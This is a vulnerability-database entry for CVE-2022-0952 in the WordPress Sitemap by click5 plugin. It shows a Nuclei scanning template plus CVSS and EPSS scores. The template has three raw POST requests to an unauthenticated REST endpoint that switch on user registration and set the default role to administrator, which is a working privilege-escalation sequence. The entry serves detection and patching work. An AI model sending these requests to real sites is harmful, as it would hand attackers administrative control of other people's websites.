Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2022-0952
HistoryApr 15, 2022 - 2:45 p.m.

WordPress Sitemap by click5 <1.0.36 - Missing Authorization

2022-04-1514:45:43
ProjectDiscovery
github.com
37
cve
wordpress
sitemap
wpscan
click5
vulnerability

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

8.7

Confidence

High

EPSS

0.48

Percentile

97.5%

WordPress Sitemap by click5 plugin before 1.0.36 is susceptible to missing authorization. The plugin does not have authorization or CSRF checks when updating options via a REST endpoint and does not ensure that the option to be updated belongs to the plugin. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
id: CVE-2022-0952

info:
  name: WordPress Sitemap by click5 <1.0.36 - Missing Authorization
  author: random-robbie
  severity: high
  description: |
    WordPress Sitemap by click5 plugin before 1.0.36 is susceptible to missing authorization. The plugin does not have authorization or CSRF checks when updating options via a REST endpoint and does not ensure that the option to be updated belongs to the plugin. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Update to the latest version of the WordPress Sitemap plugin by click5 (1.0.36 or higher) to fix the missing authorization issue.
  reference:
    - https://wpscan.com/vulnerability/0f694961-afab-44f9-846c-e80a0f6c768b
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0952
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/RandomRobbieBF/CVE-2022-0952
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-0952
    cwe-id: CWE-352
    epss-score: 0.33816
    epss-percentile: 0.96965
    cpe: cpe:2.3:a:sitemap_project:sitemap:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: sitemap_project
    product: sitemap
    framework: wordpress
  tags: cve,cve2022,wp,wp-plugin,sitemap,wpscan,wordpress,sitemap_project

http:
  - raw:
      - |
        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json;charset=UTF-8

        {"users_can_register":"1"}
      - |
        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json;charset=UTF-8

        {"default_role":"administrator"}
      - |
        POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
        Host: {{Hostname}}
        Content-type: application/json;charset=UTF-8

        {"users_can_register":"0"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "application/json")'
          - "status_code == 200"
          - "contains(body_1, 'users_can_register')"
          - "contains(body_2, 'default_role')"
        condition: and
# digest: 4a0a00473045022100a81a2c53852d6458e0f3918ae6acb5b94cfd98b78b18284c85cbe972ab3bdb5c022046f82841e3e742bc87109dbcc2c3e64db7845387312f1ad20bf08335a441be96:922c64590222798bb761d5b6d8e72950

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

AI Score

8.7

Confidence

High

EPSS

0.48

Percentile

97.5%